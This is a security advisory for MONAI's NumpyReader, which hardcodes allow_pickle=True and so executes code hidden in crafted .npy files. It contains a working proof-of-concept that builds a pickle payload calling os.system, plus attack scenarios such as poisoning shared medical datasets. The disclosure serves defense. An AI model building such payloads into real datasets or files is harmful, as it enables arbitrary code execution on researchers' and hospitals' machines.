High

MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files

  • Disclosed: 18.08.2026
  • Updated: 11.10.2026 15:18

Summary

The NumpyReader class in monai/data/image_reader.py unconditionally uses np.load(name, allow_pickle=True) (line 1276), enabling arbitrary code execution when loading a crafted .npy or .npz file. This affects all MONAI versions up to and including the latest commit (5b71547). The allow_pickle parameter is hardcoded to True and cannot be overridden by the user (the docstring explicitly states kwargs are accepted "except allow_pickle").

Details

Vulnerable code (permalink):

python
# monai/data/image_reader.py, line 1276, in NumpyReader.read()
img = np.load(name, allow_pickle=True, **kwargs_)

The NumpyReader is automatically selected by MONAI's LoadImage transform for any file with .npy or .npz extension (see monai/transforms/io/array.py line 68: "numpyreader": NumpyReader). This means the entire standard data pipeline (LoadImage, PersistentDataset, CacheDataset, SmartCacheDataset, etc.) is vulnerable.

The allow_pickle=True parameter enables Python's pickle protocol during numpy loading. Pickle is known to be unsafe for untrusted data, as it can execute arbitrary code during deserialization via the __reduce__ method.

Compare with safe practices in the same project:

The MONAI project has already addressed similar deserialization issues in other code paths:

  • torch.load calls now use weights_only=True (after GHSA-6vm5-6jv9-rjpj)
  • PersistentDataset defaults to weights_only=True (line 272-275 of dataset.py)

However, NumpyReader was not included in these security improvements.

Additionally, the NPZDataset class in the same project correctly uses the default allow_pickle=False (permalink):

python
# monai/data/dataset.py, line 1433 — safe usage
dat = np.load(npzfile)  # allow_pickle defaults to False

This inconsistency shows that NumpyReader was overlooked during security hardening.

The user cannot override this behavior:

python
# monai/data/image_reader.py, line 1233 (docstring)
# kwargs: additional args for `numpy.load` API except `allow_pickle`.

The hardcoded allow_pickle=True on line 1276 overrides any user attempt to set it via kwargs.

Data flow:

  1. User creates a data pipeline with LoadImage transform or uses any MONAI dataset class
  2. A .npy or .npz file is provided as input (e.g., as part of a shared medical dataset)
  3. LoadImage selects NumpyReader based on file extension
  4. NumpyReader.read() calls np.load(name, allow_pickle=True)
  5. Malicious pickle payload in the .npy file executes arbitrary code

PoC

python
#!/usr/bin/env python3
"""PoC: RCE via NumpyReader allow_pickle=True in MONAI"""
import os
import tempfile
import numpy as np

class MaliciousPayload:
    def __reduce__(self):
        return (os.system, ('echo "MONAI NumpyReader RCE - Code executed" > /tmp/monai_rce_proof.txt',))

tmpdir = tempfile.mkdtemp(prefix="monai_poc_")
malicious_npy = os.path.join(tmpdir, "malicious_mask.npy")
np.save(malicious_npy, np.array(MaliciousPayload()), allow_pickle=True)

# With MONAI installed:
from monai.data.image_reader import NumpyReader
reader = NumpyReader()
data = reader.read(malicious_npy)

# Verify RCE
proof = "/tmp/monai_rce_proof.txt"
if os.path.exists(proof):
    print(f"[!] CODE EXECUTION CONFIRMED: {open(proof).read().strip()}")
    os.remove(proof)

os.remove(malicious_npy)
os.rmdir(tmpdir)

Output:

[!] CODE EXECUTION CONFIRMED: MONAI NumpyReader RCE - Code executed

Impact

An attacker can achieve arbitrary code execution on any machine running MONAI by:

  1. Dataset poisoning: Placing a malicious .npy file in a shared medical imaging dataset (e.g., on a shared filesystem, HuggingFace, or research data repository). When a researcher loads the dataset through MONAI's standard pipeline, arbitrary code executes.

  2. Supply chain attack: Contributing a malicious .npy file to a MONAI tutorial, example, or bundle that other users download and run.

  3. Lateral movement in medical environments: In hospital/research settings where MONAI processes shared data, an attacker with access to the data directory can achieve code execution on the processing server.

This is particularly severe in medical/healthcare contexts where MONAI is deployed, as it could lead to compromise of systems handling protected health information (PHI).

Affected software

Click a technology to see all vulnerabilities affecting it.

PlatformPackageVulnerable versionsFixed in
Python (PyPI) monai < 1.6.0 1.6.0

References

CVSS score 7.8/10
CVSS vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Weakness (CWE)
CWE-502
Platform
Python (PyPI)
Package
monai
Disclosed
18.08.2026
Updated
11.10.2026 15:18

Sources and licenses

OSV / GitHub Advisory Database - PYSEC-2026-4020 - PyPA Advisory Database; CC BY 4.0

OSV / GitHub Advisory Database - GHSA-wg9g-w2j2-8pgr - CC BY 4.0

Vulnerability history: monai

All published vulnerabilities of this package (Python (PyPI)), newest first. Shows whether this is a one-off slip or a package that needs watching.

All (11) in the archive
Total entries
11
First → latest
09.2025 09.2026
Without a fix
1
Exploited in attacks
0

Severity breakdown

  • High 8
  • Medium 1
  • Unrated 2

Disclosures per year

  1. 2025: 3
  2. 2026: 8
Severity:
  1. MONAI: Unsafe deserialization in NumpyReader allows arbitrary code execution via malicious .npy files this entry
    High · 7.8 CVE-2026-100845 < 1.6.0 1.6.0
  2. High CVE-2026-100844 < 1.6.0 1.6.0
  3. High · 7.6 CVE-2026-100846 < 1.6.0 1.6.0
  4. High · 8.8 CVE-2025-58757 < 1.5.1 1.5.1
  5. High · 8.8 CVE-2025-58756 < 1.5.1 1.5.1

Know which vulnerabilities affect your application

With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.

Connect your application
DockRay newsletter

Application security in your inbox

Important vulnerabilities, actionable guidance and practical advice for your applications. Choose your technologies and follow what matters to your project.

  • A daily digest of new vulnerabilities, critical ones included.
  • Notifications about important updates.
  • Practical advice on application security and monitoring.

Leave empty to receive updates for every technology.

Free to subscribe. Unsubscribe with one click in any email.